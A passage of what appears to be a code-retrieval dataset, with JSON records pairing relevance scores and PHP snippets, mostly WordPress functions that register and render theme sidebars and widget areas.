'The primary Sidebar for the blog',\n 'before_widget' => '<div class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4>',\n 'after_title' => '</h4>',\n ]);\n}", "title": "" }, { "docid": "8e1905d6fdce460a912e14a0b2c66f52", "score": "0.6614341", "text": "function humcore_register_sidebars() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'Deposits Directory Sidebar',\n\t\t'id' => 'deposits-directory-sidebar',\n\t\t'description' => __( 'The Deposits directory widget area', 'humcore_domain' ),\n\t\t'before_widget' => '',\n\t\t'after_widget' => '',\n\t\t'before_title' => '',\n\t\t'after_title' => '',\n\t) );\n\n\tregister_sidebar( array(\n\t\t'name' => 'Deposits Search Sidebar',\n\t\t'id' => 'deposits-search-sidebar',\n\t\t'description' => __( 'The Deposits faceted search widget area', 'humcore_domain' ),\n\t\t'before_widget' => '',\n\t\t'after_widget' => '',\n\t\t'before_title' => '<h4>',\n\t\t'after_title' => '</h4>',\n\t) );\n\n}", "title": "" }, { "docid": "a66847260774994d3cab02a1fa6ed086", "score": "0.6610721", "text": "function shape_widgets_init() {\n register_sidebar( array(\n 'name' => __( 'Primary Widget Area', 'shape' ),\n 'id' => 'sidebar-1',\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h1 class=\"widget-title\">',\n 'after_title' => '</h1>',\n ) );\n \n register_sidebar( array(\n 'name' => __( 'Secondary Widget Area', 'shape' ),\n 'id' => 'sidebar-2',\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h1 class=\"widget-title\">',\n 'after_title' => '</h1>',\n ) );\n}", "title": "" }, { "docid": "32030b07220dc258324dbd7cec9d5ad7", "score": "0.65960634", "text": "function about_page_widgets_init() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'About Page Left Col',\n\t\t'id' => 'about_page',\n\t\t'before_widget' => '<div id=\"aboutPageNAVWidget\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '',\n\t\t'after_title' => '',\n\t) );\n\n}", "title": "" }, { "docid": "56c0f01abe694b960c7db84dcc400746", "score": "0.6592201", "text": "public static function right_sidebar() {\n\t\t$layout_type = WpvTemplates::get_layout();\n\n\t\tif($layout_type == 'right-only' || $layout_type == 'left-right'): ?>\n\t\t\t<aside class=\"<?php echo apply_filters('wpv_right_sidebar_class', 'right', $layout_type) ?>\">\n\t\t\t\t<?php WpvSidebars::getInstance()->get_sidebar('right'); ?>\n\t\t\t</aside>\n\t\t<?php endif;\n\t}", "title": "" }, { "docid": "1662373c478ddfa58d6c777e99755450", "score": "0.659042", "text": "function resource_page_widgets_init() {\n\n\tregister_sidebar( array(\n\t\t'name' => 'Resource Page Left Col',\n\t\t'id' => 'resource_page',\n\t\t'before_widget' => '<div id=\"resourcePageNavWidget\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '',\n\t\t'after_title' => '',\n\t) );\n\n}", "title": "" }, { "docid": "a9b225884aeda22a000480d1d8eee34d", "score": "0.6589191", "text": "function hybrid_get_secondary() {\n\tget_sidebar( 'secondary' );\n}", "title": "" }, { "docid": "2d0de3759093f8a5fc8fb05855ecf624", "score": "0.65749854", "text": "function anva_sidebar_layout_before_default() {\n\tif ( is_page() ) {\n\t\t\n\t\t$sidebar = anva_get_post_meta( '_sidebar_column' );\n\t\t\n\t\t// One sidebar\n\t\tif ( 'left' == $sidebar ) {\n\t\t\tanva_sidebars( 'left' );\n\n\t\t// Two sidebar\n\t\t} elseif( 'double' == $sidebar ) {\n\t\t\tanva_sidebars( 'left' );\n\n\t\t// Two sidebar left\n\t\t} elseif ( 'double_left' == $sidebar ) {\n\t\t\tanva_sidebars( 'left' );\n\t\t\tanva_sidebars( 'right' );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5dfba27a36faec01d81af74ef6d630d3", "score": "0.65662056", "text": "function register_sidebar_locations() {\n register_sidebar(\n array(\n 'id' => 'primary-sidebar',\n 'name' => __( 'Primary Sidebar' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n )\n );\n /* Repeat register_sidebar() code for additional sidebars. */\n // dit zijn zones die we aanmaken.\n register_sidebar(\n array(\n 'id' => 'secondary-sidebar',\n 'name' => __( 'Secondary Sidebar' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n )\n );\n}", "title": "" }, { "docid": "5f8ec2017bd9598c733159f3ac0b833d", "score": "0.6529039", "text": "function GetSidebar () {\n \t$return = '';\n\n \tif (is_array($this->sidebar_buttons)) {\n\t \tforeach ($this->sidebar_buttons as $button) {\n$return .= '<div class=\"pull-right\"> <a style=\"text-align:right;margin-right:6px;\" class=\"' . $button[''] . '\" href=\"' . $button['link'] . '\">' . $button['text'] . '</a></div>';\n\t \t}\n\t }\n \tif (is_array($this->quicklink_buttons)) {\n\t \tforeach ($this->quicklink_buttons as $button) {\n$return .= '<div class=\"pull-right\"> <a style=\"text-align:right;\" class=\"' . $button['btn btn-circle btn-sm'] . '\" href=\"' . $button['link'] . '\">' . $button['text'] . '</a></div>';\n\t \t}\n\t }\n\n \tif (is_array($this->sidebar_notes)) {\n\t \tforeach ($this->sidebar_notes as $note) {\n\t \t\t$return .= '<div class=\"well\">' . $note['text'] . '</div>';\n\t \t}\n\t }\n\n \treturn $return;\n }", "title": "" }, { "docid": "ad6b50e2b852621246f55e80da32a6e8", "score": "0.6527342", "text": "function add_sidebars() {\n\tregister_sidebar( array(\n\t\t'name' => 'Main Sidebar',\n\t\t'id' => 'main-sidebar',\n\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</li>',\n\t\t'before_title' => '<h2 class=\"sidebar-title\">',\n\t\t'after_title' => '</h2>',\n\t) );\n}", "title": "" }, { "docid": "920ffc301e4878100919812b3c463019", "score": "0.65248466", "text": "function pickleplease_sidebars_init() {\n\n // Register the New Footer Sidebar\n register_sidebar(array(\n \n // Title for the Widget Dashboard\n 'name' => 'New Sidebar',\n \n // ID for the XHTML Markup\n 'id' => 'new-sidebar',\n\n // Description for the Widget Dashboard Box\n 'description' => __('This is a right column widget area.', 'thematic'),\n\n // Do not edit these. It keeps Headers and lists consistent for Thematic\n 'before_widget' => thematic_before_widget(),\n 'after_widget' => thematic_after_widget(),\n 'before_title' => thematic_before_title(),\n 'after_title' => thematic_after_title(),\n ));\n\n\n // Unregister and sidebars you donŐt need based on its ID.\n // For a full list of Thematic sidebar IDs, look at /thematc/library/extensions/widgets-extensions.php\n //unregister_sidebar('primary-aside');\n unregister_sidebar('secondary-aside');\n unregister_sidebar('index-top');\n unregister_sidebar('index-insert');\n unregister_sidebar('index-bottom');\n unregister_sidebar('single-top');\n unregister_sidebar('single-insert');\n unregister_sidebar('single-bottom');\n unregister_sidebar('page-top');\n unregister_sidebar('page-bottom');\n }", "title": "" }, { "docid": "e424e4af920cc7e2ea6c4c072f78cd97", "score": "0.6523894", "text": "function chandelier_elated_register_sidebars() {\n\n register_sidebar(array(\n 'name' => 'Sidebar',\n 'id' => 'sidebar',\n 'description' => 'Default Sidebar',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h6 class=\"eltd-widget-title\">',\n 'after_title' => '</h6>'\n ));\n\n }", "title": "" }, { "docid": "0bcb7b55b50762f73f55232f44576f51", "score": "0.6520041", "text": "function init_custom_widgets() {\n\t\n\tregister_sidebar(array(\n\t\t'id' => 'sidebar-top',\n\t\t'name' => __('Sidebar top', 'bonestheme'),\n\t\t'description' => __('Top sidebar area, present on all pages (default: Main Menu)', 'bonestheme'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t'after_title' => '</h4>'\n\t));\n\t\n\tregister_sidebar(array(\n\t\t'id' => 'sidebar-projects',\n\t\t'name' => __('Projects sidebar', 'bonestheme'),\n\t\t'description' => __('Active on single project pages only (default: Related People, Grants & Publications)', 'bonestheme'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t'after_title' => '</h4>'\n\t));\n\t\n\tregister_sidebar(array(\n\t\t'id' => 'sidebar-people',\n\t\t'name' => __('People sidebar', 'bonestheme'),\n\t\t'description' => __('Active on single people pages only.', 'bonestheme'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t'after_title' => '</h4>'\n\t));\n\t\n\tregister_sidebar(array(\n\t\t'id' => 'sidebar-homepage',\n\t\t'name' => __('Homepage sidebar', 'bonestheme'),\n\t\t'description' => __('Active on homepage, lower side bar area.', 'bonestheme'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t'after_title' => '</h4>'\n\t));\n\t\n\tregister_sidebar(array(\n\t\t'id' => 'sidebar-homepage-content',\n\t\t'name' => __('Homepage main', 'bonestheme'),\n\t\t'description' => __('Active on homepage, below main content area.', 'bonestheme'),\n\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => '</div>',\n\t\t'before_title' => '<h2 class=\"widget-title\">',\n\t\t'after_title' => '</h2>'\n\t));\n\t\n\t\n\n\t/* Custom widget's */\n\t\n\tregister_widget( 'All_People_Widget' );\n\tregister_widget( 'Related_People_Widget' );\n\n\tregister_widget( 'All_Projects_Widget' );\n\tregister_widget( 'Related_Projects_Widget' );\n\tregister_widget( 'Related_Grants_Widget' );\n\tregister_widget( 'Related_Publications_Widget' );\n\n}", "title": "" }, { "docid": "e0b6601cb8e9d1c3dee2c6b485958ea7", "score": "0.6518037", "text": "function naked_register_sidebars() {\n\tregister_sidebar(array(\t\t\t\t// Start a series of sidebars to register\n\t\t'id' => 'sidebar', \t\t\t\t\t// Make an ID\n\t\t'name' => 'Sidebar',\t\t\t\t// Name it\n\t\t'description' => 'Take it on the side...', // Dumb description for the admin side\n\t\t'before_widget' => '<div>',\t// What to display before each widget\n\t\t'after_widget' => '</div>',\t// What to display following each widget\n\t\t'before_title' => '<h3 class=\"side-title\">',\t// What to display before each widget's title\n\t\t'after_title' => '</h3>',\t\t// What to display following each widget's title\n\t\t'empty_title'=> '',\t\t\t\t\t// What to display in the case of no title defined for a widget\n\t\t// Copy and paste the lines above right here if you want to make another sidebar, \n\t\t// just change the values of id and name to another word/name\n\t));\n}", "title": "" }, { "docid": "042a375a5d42bc376189a7f8ca704671", "score": "0.6514457", "text": "function gp_widgets_init() {\n\n /**\n * Register sidebars.\n */\n\n $sidebar_main = array_merge(\n array( 'name' => __( 'General Sidebar', 'gp' ), 'id' => 'sidebar-main' ),\n gp_get_default_widget_params()\n );\n register_sidebar( $sidebar_main );\n\n // $sidebar_post = array_merge(\n // array( 'name' => __( 'Blog Sidebar', 'gp' ), 'id' => 'sidebar-blog' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $sidebar_post );\n\n\n // $sidebar_post = array_merge(\n // array( 'name' => __( 'Blog Post Sidebar', 'gp' ), 'id' => 'sidebar-post' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $sidebar_post );\n\n\n // $sidebar_portfolio = array_merge(\n // array( 'name' => __( 'Portfolio Sidebar', 'gp' ), 'id' => 'sidebar-portfolio' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $sidebar_portfolio );\n\n\n // $sidebar_portfolio_single = array_merge(\n // array( 'name' => __( 'Portfolio Project Sidebar', 'gp' ), 'id' => 'sidebar-portfolio-single' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $sidebar_portfolio_single );\n\n // $persy_fuer_kmu = array_merge(\n // array( 'name' => __( 'Persy für KMU', 'gp' ), 'id' => 'persy-fuer-kmu' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $persy_fuer_kmu );\n\n // $persy_fuer_pdl = array_merge(\n // array( 'name' => __( 'Persy für PDL', 'gp' ), 'id' => 'persy-fuer-pdl' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $persy_fuer_pdl );\n\n // $persy_support = array_merge(\n // array( 'name' => __( 'Persy Support', 'gp' ), 'id' => 'persy-support' ),\n // gp_get_default_widget_params()\n // );\n // register_sidebar( $persy_support );\n\n $template_with_subnav = array_merge(\n array( 'name' => __( 'Template with subnav', 'gp' ), 'id' => 'sidebar-template-with-subnav' ),\n gp_get_default_widget_params()\n );\n register_sidebar( $template_with_subnav );\n\n\n // Removes the default styles that are packaged with the Recent Comments widget.\n add_filter( 'show_recent_comments_widget_style', '__return_false' );\n\n}", "title": "" }, { "docid": "3bc64f6794bd96d1fb29825ca545c80e", "score": "0.6510282", "text": "public function sidebar() {\n $args = func_get_args();\n $sidebar = $args[0];\n\n if (!is_array($sidebar)) {\n $sidebar = array('label' => $sidebar);\n }\n\n if (isset($args[1]) && is_string($args[1])) {\n $sidebar['action'] = $args[1];\n }\n\n $sidebar = array_merge(array(\n 'tab' => $this->tab(),\n 'action' => null,\n 'flag' => true,\n 'id' => $this->id(),\n ), $sidebar);\n\n $this->hook($sidebar['tab'] . '-sidebar', 'createSideMenu', array(\n $sidebar['id'],\n $sidebar['label'],\n $sidebar['action'],\n $sidebar['flag'])\n );\n }", "title": "" }, { "docid": "87e92117d9039d736c725d1336bd812b", "score": "0.6510109", "text": "function ourWidgetsInit(){\n\n register_sidebar(array(\n 'name' => 'Sidebar',\n 'id' => 'sidebar1',\n 'before_widget' => '<div class=\"widget-item\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h4 class=\"my-special-class\">',\n 'after_title' => '</h4>'\n\n ));\n}", "title": "" }, { "docid": "d2431b459f7e49424c7431f5f645b04a", "score": "0.6501563", "text": "function arphabet_widgets_init() {\r\n\r\n\tregister_sidebar( array(\r\n\t\t'name' => 'left sidebar',\r\n\t\t'id' => 'left_1',\r\n\t\t'before_widget' => '<div id=\"genres_box\">',\r\n\t\t'after_widget' => '</div>',\r\n\t\t'before_title' => '',\r\n\t\t'after_title' => '',\r\n\t) );\r\n\r\n}", "title": "" }, { "docid": "4e55512bfa2ac2ade540e287306cd79d", "score": "0.64862823", "text": "function inxboilerplate_widgets_init() {\n register_sidebar( array(\n \"name\" => __( \"Sidebar\", \"inxboilerplate\" ),\n \"id\" => \"r_sidebar\",\n \"before_widget\" => '<section id=\"%1$s\" class=\"widget %2$s\">',\n \"after_widget\" => \"</section>\",\n \"before_title\" => '<h3 class=\"wigtitle\">',\n \"after_title\" => \"</h3>\",\n ) );\n}", "title": "" }, { "docid": "b6fda6cc9fd2c79b0430b0a9255870a2", "score": "0.64844155", "text": "function registerSidebars() {\n\t\t\tregister_sidebar(array(\n\t\t\t\t'name' => __( 'Sidebar', 'titan' ),\n\t\t\t\t'id' => 'normal_sidebar',\n\t\t\t\t'before_widget' => '<li id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t'after_widget' => '</li>',\n\t\t\t\t'before_title' => '<h2 class=\"widgettitle\">',\n\t\t\t\t'after_title' => '</h2>',\n\t\t\t));\n\t\t}", "title": "" }, { "docid": "182557145e284dc34aa9f06b9e2e4478", "score": "0.64838696", "text": "function arphabet_widgets_init() {\n\n register_sidebar(array(\n 'name' => esc_html__( 'Property side bar', 'wpestate'),\n 'id' => 'property_side_bar',\n 'description' => esc_html__( 'Property side bar widget area', 'wpestate'),\n 'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n 'after_widget' => '</li>',\n 'before_title' => '<h3 class=\"widget-title-sidebar\">',\n 'after_title' => '</h3>',\n ));\n\n register_sidebar(array(\n 'name' => esc_html__( 'Blog side bar', 'wpestate'),\n 'id' => 'blog_side_bar',\n 'description' => esc_html__( 'Blog side bar widget area', 'wpestate'),\n 'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n 'after_widget' => '</li>',\n 'before_title' => '<h3 class=\"widget-title-sidebar\">',\n 'after_title' => '</h3>',\n ));\n\n register_sidebar(array(\n 'name' => esc_html__( 'Blog Post side bar', 'wpestate'),\n 'id' => 'blog_post_side_bar',\n 'description' => esc_html__( 'Blog Post side bar widget area', 'wpestate'),\n 'before_widget' => '<li id=\"%1$s\" class=\"widget-container %2$s\">',\n 'after_widget' => '</li>',\n 'before_title' => '<h3 class=\"widget-title-sidebar\">',\n 'after_title' => '</h3>',\n ));\n\n}", "title": "" }, { "docid": "100acae37d3afc759ef16c29f8beb25b", "score": "0.64771384", "text": "function msdlab_add_homepage_callout_sidebars(){\n genesis_register_sidebar(array(\n 'name' => 'Homepage Callout',\n 'description' => 'Homepage call to action',\n 'id' => 'homepage-callout'\n ));\n}", "title": "" }, { "docid": "6bfbfe4f2f65087f8db57cd808a650e3", "score": "0.6475606", "text": "function accelerate_theme_child_widget_init() {\r\n\tregister_sidebar( array(\r\n\t 'name' =>__( 'Homepage sidebar', 'accelerate-theme-child'),\r\n\t 'id' => 'sidebar-2',\r\n\t 'description' => __( 'Appears on the static front page template', 'accelerate-theme-child' ),\r\n\t 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\r\n\t 'after_widget' => '</aside>',\r\n\t 'before_title' => '<h3 class=\"widget-title\">',\r\n\t 'after_title' => '</h3>',\r\n\t) );\r\n}", "title": "" }, { "docid": "8d1bd4731f028a08cfdb621cef1740a1", "score": "0.6473354", "text": "function bones_register_sidebars() {\n register_sidebar(array(\n \t'id' => 'sidebar1',\n \t'name' => 'Main sidebar',\n \t'description' => 'The first (primary) sidebar.',\n \t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div>',\n \t'before_title' => '<h4 class=\"widgettitle\">',\n \t'after_title' => '</h4>',\n ));\n\n}", "title": "" }, { "docid": "9ed6f3596d25458308ab47bd41d9173e", "score": "0.6471671", "text": "function alex_castro_sidebar_registration() {\n\t$shared_args = array(\n\t\t'before_title' => '<h2 class=\"widget-title subheading heading-size-3\">',\n\t\t'after_title' => '</h2>',\n\t\t'before_widget' => '<div class=\"widget %2$s\"><div class=\"widget-content\">',\n\t\t'after_widget' => '</div></div>',\n );\n \n register_sidebar(\n array_merge(\n $shared_args,\n array(\n 'name' => 'Header',\n 'id' => 'header-sidebar',\n 'description' => 'Widgets in this area will be displayed beneath the header of the home page',\n )\n )\n );\n}", "title": "" }, { "docid": "159b4ceedb493ac1cff5f0da0f00dd56", "score": "0.6465999", "text": "function morganceken_register_sidebars() {\r\n\tregister_sidebar( $args );\r\n}", "title": "" }, { "docid": "85ce2a38699673b5578fe2c70b71e6c8", "score": "0.6465082", "text": "function fanwood_disable_sidebars( $sidebars_widgets ) {\n\tglobal $wp_query;\n\n\tif ( current_theme_supports( 'theme-layouts' ) && !is_admin() ) {\n\n\t\tif ( 'layout-1c' == theme_layouts_get_layout() ) {\n\t\t\t$sidebars_widgets['primary'] = false;\n\t\t\t$sidebars_widgets['secondary'] = false;\n\t\t\t\n\t\t}\n\t\telseif ( 'layout-hl-1c' == theme_layouts_get_layout() || 'layout-hr-1c' == theme_layouts_get_layout() ) {\n\t\t\t$sidebars_widgets['primary'] = false;\n\t\t\t$sidebars_widgets['secondary'] = false;\n\t\t\t$sidebars_widgets['after-header'] = false;\n\t\t\t$sidebars_widgets['after-header-2c'] = false;\n\t\t\t$sidebars_widgets['after-header-3c'] = false;\n\t\t\t$sidebars_widgets['after-header-4c'] = false;\n\t\t\t$sidebars_widgets['after-header-5c'] = false;\n\t\t}\n\t\telseif ( 'layout-hl-2c-l' == theme_layouts_get_layout() || 'layout-hl-2c-r' == theme_layouts_get_layout() || 'layout-hr-2c-l' == theme_layouts_get_layout() || 'layout-hr-2c-r' == theme_layouts_get_layout() ) {\n\t\t\t$sidebars_widgets['after-header'] = false;\n\t\t\t$sidebars_widgets['after-header-2c'] = false;\n\t\t\t$sidebars_widgets['after-header-3c'] = false;\n\t\t\t$sidebars_widgets['after-header-4c'] = false;\n\t\t\t$sidebars_widgets['after-header-5c'] = false;\n\t\t}\n\t\t\n\t}\n\n\treturn $sidebars_widgets;\n}", "title": "" }, { "docid": "a0e7428028abbfd2e30dddaed734ec85", "score": "0.6460248", "text": "function hybrid_get_utility_after_content() {\n\tget_sidebar( 'after-content' );\n}", "title": "" }, { "docid": "6044debe07f1af50b3c42a013f430e46", "score": "0.6457921", "text": "abstract public function getSidebarUpgrade();", "title": "" }, { "docid": "d7e0b64332f04c7a53cccf735e6b8136", "score": "0.64562446", "text": "public function quickSidebarAction();", "title": "" }, { "docid": "0e824fe58086313003abed764319e6b5", "score": "0.64553344", "text": "function udemy_widget_setup(){\n\tregister_sidebar(\n\t\tarray(\n\t\t\t'name' \t=> 'Sidebar',\n\t\t\t'id' \t=> 'sidebar-1',\n\t\t\t'class' => 'custom',\n\t\t\t'description' => 'Standard Sidebar',\n\t\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t'after_widget' => '</aside>',\n\t\t\t'before_title' => '<h1 class=\"widget-title\">',\n\t\t\t'after_title' => '</h1>',\n\t\t)\n\t);\n}", "title": "" }, { "docid": "4ba0aea30b9246c18cd75b61c1e09a8e", "score": "0.64447814", "text": "function thirdtheme_register_sidebar() \n {\n register_sidebar( array(\n 'name' => 'footer left',\n 'id' => 'footer_left',\n 'description' => 'this is a left footer',\n 'before_widget' => '<div>',\n 'after_widget' => '</div>',\n 'before_title' => '<h1 class=\"rounded \">',\n 'after_title' => '</h1>'));\n\n\n register_sidebar( array(\n 'name' => 'footer center',\n 'id' => 'footer_center',\n 'description' => 'this is a center footer',\n 'before_widget' => '<div>',\n 'after_widget' => '</div>',\n 'before_title' => '<h2 class=\"rounded \">',\n 'after_title' => '</h2>'));\n\n register_sidebar( array(\n 'name' => 'footer right',\n 'id' => 'footer_right',\n 'description' => 'this is a right footer',\n 'before_widget' => '<div>',\n 'after_widget' => '</div>',\n 'before_title' => '<h2 class=\"rounded \">',\n 'after_title' => '</h2>'));\n\n }", "title": "" }, { "docid": "1139dbeb879c0f70a457893f7622e515", "score": "0.64439493", "text": "function my_register_sidebars() {\n register_sidebar(\n array(\n 'id' => 'bootom_footer_left',\n 'name' => __( 'Column_1' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n )\n );\n register_sidebar(\n array(\n 'id' => 'bootom_footer_right',\n 'name' => __( 'Column_2' ),\n 'description' => __( 'A short description of the sidebar.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n )\n ); \n register_sidebar(\n array(\n 'id' => 'header-logo',\n 'name' => __( 'header-logo' ),\n 'description' => __( 'KidsCorner.' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n )\n );\n register_sidebar(\n array(\n 'id' => 'contact-us',\n 'name' => __( 'contact-us' ),\n 'description' => __( 'ContactUs' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n )\n );\n register_sidebar(\n array(\n 'id' => 'contact-form',\n 'name' => __( 'contact-form' ),\n 'description' => __( 'ContactUs' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n )\n );\n register_sidebar(\n array(\n 'id' => 'address',\n 'name' => __( 'address' ),\n 'description' => __( 'address' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n )\n );\nregister_sidebar(\n array(\n 'id' => 'email',\n 'name' => __( 'email' ),\n 'description' => __( 'email' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n)\n);\nregister_sidebar(\n array(\n 'id' => 'phone',\n 'name' => __( 'phone' ),\n 'description' => __( 'phone' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n)\n);\nregister_sidebar(\n array(\n 'id' => 'contact',\n 'name' => __( 'contact' ),\n 'description' => __( 'contact' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n)\n);\nregister_sidebar(\n array(\n 'id' => 'mail',\n 'name' => __( 'mail' ),\n 'description' => __( 'mail' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n)\n);\nregister_sidebar(\n array(\n 'id' => 'road',\n 'name' => __( 'road' ),\n 'description' => __( 'road' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n)\n);\nregister_sidebar(\n array(\n 'id' => 'android',\n 'name' => __( 'android' ),\n 'description' => __( 'android' ),\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>'\n)\n);\n}", "title": "" }, { "docid": "eec805751618c9c0b429c1b1c1279aec", "score": "0.6441778", "text": "function kopparpannan_widgets_init() {\n register_sidebar( array(\n 'name' => __( 'Left Sidebar', 'kopparpannan' ),\n 'id' => 'left',\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s grid-sidebar-left\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h1 class=\"widget-title\">',\n 'after_title' => '</h1>',\n ) );\n \n register_sidebar( array(\n 'name' => __( 'Right Sidebar', 'kopparpannan' ),\n 'id' => 'right',\n 'before_widget' => '<ul><li id=\"%1$s\" class=\"widget %2$s grid-sidebad-right\">',\n 'after_widget' => '</li></ul>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ) );\n}", "title": "" }, { "docid": "57de3585de1ed2dc86ea5c3dc6d8feae", "score": "0.64370865", "text": "function bones_register_sidebars() {\n\n register_sidebar(array(\n\n \t'id' => 'sidebar1',\n\n \t'name' => __('Default Sidebar', 'bonestheme'),\n\n \t'description' => __('The first (primary) sidebar.', 'bonestheme'),\n\n \t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\n \t'after_widget' => '</div>',\n\n \t'before_title' => '<h3 class=\"widgettitle\">',\n\n \t'after_title' => '</h3>',\n\n )); \n\n}", "title": "" }, { "docid": "73dd8b66c70f6c3df14cee148e0b932b", "score": "0.6434675", "text": "function wp_get_sidebars_widgets($deprecated = \\true)\n {\n }", "title": "" }, { "docid": "babd6782af42746888727374cba53192", "score": "0.6431334", "text": "function register_my_sidebar(){\n \n register_sidebar( array(\n\t\t\"name\" => \"Sidebar widget\",\n \"id\" => \"sidebar1\", \n ));\n\n}", "title": "" }, { "docid": "baeb4164daef1e999520aab47123b4f9", "score": "0.64283603", "text": "function younitedstyle_sidebars() {\n\t\tregister_sidebar(array(\n\t\t\t'name'\t\t\t\t=>'Blog Sidebar',\n\t\t\t'id'\t\t\t\t=>'blog-sidebar',\n\t\t\t'before_widget'\t\t=>'<li class=\"widget\">',\n\t\t\t'after_widget'\t\t=>'</li>',\n\t\t\t'before_title'\t\t=>'<h2>',\n\t\t\t'after_title'\t\t=>'</h2>',\n\t\t\t));\n\t}", "title": "" }, { "docid": "185df076ed2336368cf15e71a26dfe91", "score": "0.6426994", "text": "function twentytwelve_widgets_init() {\n\n register_sidebar(array(\n 'name' => __('First Front Page Footer Widget Area', 'twentytwelve'),\n 'id' => 'sidebar-2',\n 'description' => __('Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve'),\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ));\n register_sidebar(array(\n 'name' => __('Product Page Sidebar Widget Area', 'twentytwelve'),\n 'id' => 'sidebar-4',\n 'description' => __('Appears in the Product Page, bellow the Add to cart button in screens over 600px and bellow the product description in screens bellow 600px.', 'twentytwelve'),\n 'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</aside>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ));\n 